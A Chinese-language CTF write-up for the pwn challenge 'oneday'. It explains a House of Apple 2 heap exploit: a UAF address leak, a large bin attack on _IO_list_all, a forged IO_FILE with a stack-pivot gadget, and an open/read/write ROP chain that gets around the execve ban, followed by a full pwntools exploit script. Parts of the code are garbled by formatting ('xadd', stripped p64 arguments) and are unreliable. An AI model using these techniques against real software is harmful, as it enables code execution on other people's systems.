前言: 最近看了house of apple 2 的相关知识,
看到了roderick师傅在其博客中提到的例题oneday
拿来做了一下,
写下了这篇wp.
题目分析
checksec查看保护策略,保护全开
禁用了execve
查看ida
分析程序发现,题目根据key的大小来决定可以申请堆块的大小,并且申请堆块只能申请key * 0x100,key * 0x100+0x10
key*2这3个固定大小的chunk
题目只给了一次edit的机会,同样也只给了一次show的机会。
解题流程 泄露地址 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 add (1 ) #0 add (3 ) #1 add (2 ) #2 add (3 ) #3 add (3 ) #4 add (3 ) #5 add (3 ) #6 free (3 ) #5 free (5 ) #6 show (3 ) p .recvuntil ("\x3a\x20\x0a" ) addr=u64 (p .recv (8 ))-0 x21ace0log_addr ("addr" ) heap=u64 (p .recv (8 ))-0 x0035f0-0 x100-0 x1000log_addr ("heap" )
申请几个堆块,然后free掉3,5 让其依次进入unsorted bin 然后因为uaf的存在,此时进行show,就可以把chunk3中的libc和heap地址泄露出来。
large bin attack 1 2 3 4 5 6 7 8 9 10 11 12 IO_list_all = addr+libc.sym['_IO_list_all']add (3 ) #7 add (3 ) #8 free (2 )add (3 )#9 #申请大chunk,让chunk2进入large binfree (0 ) payload = p64(0 )*3 +p64(IO_list_all-0 x20)edit (2 ,payload)add (3 )#10 # 申请大chunk,让chunk 0 进入large binadd (1 )#11 #触发unlink
通过large bin attack的方式把IO_list_all里面的内容替换为后放入large bin 的chunk 0地址
这时我们已经用掉了唯一的一次edit机会,但是我们还要去伪造fake_io,不能去改写chunk0 的内容,在看了其他师傅的博客后发现,这时我们去再次申请一个和large bin 中较小chunk相同大小的chunk,就会触发unlink,会将大chunk的地址写入IO_list_all,使io_list_all里面的内容从chunk0的地址变为chunk2的地址。
magic_gadgets 1 2 0x000000000016a06a: mov rbp, qword ptr [rdi + 0x48]; mov rax, qword ptr [rbp + 0x18]; lea r13, [rbp + 0x10]; mov dword ptr [rbp + 0x10], 0; mov rdi, r13; call qword ptr [rax + 0x28];
这是一条很有用的指令,rdi即为IO_file的首地址,所以我们可以控制rbp,rax, 同时有call qword ptr [rax + 0x28];
可以控制程序的执行流。在这道题中,我选择通过把执行流控制为leave_ret同时控制rbp为提前布置好的orw地址去让程序执行提前布置好的orw链,orw读出flag,getshell.
伪造结构体 因为只有一次edit的机会所以我们连带fake_io和执行orw的rop链一起输入
orw部分 1 2 3 4 orw=p64 +p64 +p64 +p64 +p64 +p64 *2 +p64 +p64 orw+=p64 #open orw+=p64 +p64 +p64 +p64 +p64 +p64 *2 +p64 +p64 +p64 #read orw+=p64 +p64 +p64 +p64 +p64 +p64 *2 +p64 +p64 +p64 #write
fake_io部分 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 file_addr =heap+0 x1c30IO_wide_data_addr =file_addrwide_vtable_addr = (file_addr+0 xd8 + 8 + 8 ) - 0 x68fake_io = b"" fake_io += p64(0 )*3 +p64(IO_list_all-0 x20)fake_io += p64(0 )fake_io += p64(0 )fake_io += p64(0 ) fake_io += p64(file_addr+0 x18+0 xe8) fake_io += p64(0 )fake_io += p64(0 )fake_io += p64(0 )fake_io += p32(2 )fake_io += p32(0 )fake_io += p64(0 xFFFFFFFFFFFFFFFF)fake_io += p64(0 x0a000000)fake_io += p64(0 )fake_io += p64(0 xFFFFFFFFFFFFFFFF)fake_io += p64(0 )*2 fake_io += p64(IO_wide_data_addr)fake_io += p64(0 ) * 2 fake_io += p32(0 xFFFFFFFF)fake_io = fake_io.ljust(0 xD8 - 0 x10, b'\x00')fake_io += p64(libc.sym['_IO_wfile_jumps']+addr)fake_io += p64(wide_vtable_addr)fake_io += p64(magic_gadget)fake_io += p64(leave_ret)+p64(0 x67616c662f2e)fake_io +=p64(file_addr+0 xf0-0 x28)fake_io +=p64(pop_rsi_r15)+p64(0 )+p64(file_addr+0 xf0-0 x28)fake_io +=orw
利用house of apple 2的模板去构建fake_io
触发io 1 p .sendlineafter ("enter your command: \n" ,str (6 ))
最后我们选择通过选择一个不存在的选项去触发exit(0);
布置好的orw链
最后执行完毕,getshell.
完整exp: 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 from tools import*context (os='linux', arch='amd64', log_level='debug')p =process("./oneday" )e =ELF("./oneday" )libc =ELF("/lib/x86_64-linux-gnu/libc.so.6" )def add(choice): p .sendlineafter("enter your command: \n" ,str(1 )) p .sendlineafter("choise: " ,str(choice)) def free(index): p .sendlineafter("enter your command: \n" ,str(2 )) p .sendlineafter("Index: \n" ,str(index)) def edit(index,content): p .sendlineafter("enter your command: \n" ,str(3 )) p .sendlineafter("Index: " ,str(index)) p .sendafter("Message: " ,content)def show(index): p .sendlineafter("enter your command: \n" ,str(4 )) p .sendlineafter("Index: " ,str(index))p .sendlineafter(">>\n" ,str(8 ))add (1 )add (3 )add (2 )add (3 )#3 add (3 )#4 xadd (3 )#5 xadd (3 )#6 free (3 )#5 free (5 )#6 show (3 )p .recvuntil("\x3a\x20\x0a" )addr =u64(p.recv(8 ))-0 x21ace0log_addr ("addr" )heap =u64(p.recv(8 ))-0 x0035f0-0 x100-0 x1000log_addr ("heap" )IO_list_all = addr+libc.sym['_IO_list_all']add (3 )#7 yadd (3 )#8 ypop_rsi_r15 =0 x000000000002a3e3+addrpop_rdi =0 x000000000002a3e5+addrpop_rsi =0 x000000000016333a+addrpop_rdx_r12 =0 x000000000011f2e7+addrpop_rax =0 x0000000000045eb0+addrsyscall =0 x0000000000091316+addrleave_ret =0 x000000000004da83+addrmagic_gadget = addr + 0 x000000000016a06apop_rsp =0 x000000000004181d+addrorw =p64(pop_rdi)+p64(heap+0 x1d28)+p64(pop_rsi)+p64(0 )+p64(pop_rdx_r12)+p64(0 )*2 +p64(pop_rax)+p64(2 )orw +=p64(syscall)orw +=p64(pop_rdi)+p64(3 )+p64(pop_rsi)+p64(heap+0 x5000)+p64(pop_rdx_r12)+p64(0 x20)*2 +p64(pop_rax)+p64(0 )orw +=p64(syscall)orw +=p64(pop_rdi)+p64(1 )+p64(pop_rsi)+p64(heap+0 x5000)+p64(pop_rdx_r12)+p64(0 x20)*2 +p64(pop_rax)+p64(1 )orw +=p64(syscall)free (2 )add (3 )#9 free (0 )file_addr =heap+0 x1c30IO_wide_data_addr =file_addrwide_vtable_addr = (file_addr+0 xd8 + 8 + 8 ) - 0 x68fake_io = b"" fake_io += p64(0 )*3 +p64(IO_list_all-0 x20)fake_io += p64(0 )fake_io += p64(0 )fake_io += p64(0 ) fake_io += p64(file_addr+0 x18+0 xe8) #fake_io += p64(0 )fake_io += p64(0 )fake_io += p64(0 )fake_io += p32(2 )fake_io += p32(0 )fake_io += p64(0 xFFFFFFFFFFFFFFFF)fake_io += p64(0 x0a000000)fake_io += p64(0 )fake_io += p64(0 xFFFFFFFFFFFFFFFF)fake_io += p64(0 )*2 fake_io += p64(IO_wide_data_addr)fake_io += p64(0 ) * 2 fake_io += p32(0 xFFFFFFFF)fake_io = fake_io.ljust(0 xD8 - 0 x10, b'\x00')fake_io += p64(libc.sym['_IO_wfile_jumps']+addr)fake_io += p64(wide_vtable_addr)fake_io += p64(magic_gadget)fake_io += p64(leave_ret)+p64(0 x67616c662f2e)fake_io +=p64(file_addr+0 xf0-0 x28)fake_io +=p64(pop_rsi_r15)+p64(0 )+p64(file_addr+0 xf0-0 x28)fake_io +=orwpayload =fake_io.ljust(0 x880,b'\x00')edit (2 ,payload)add (3 )#10 add (1 )#11 debug (p,addr+0 x083b9b)p .sendlineafter("enter your command: \n" ,str(6 ))p .interactive()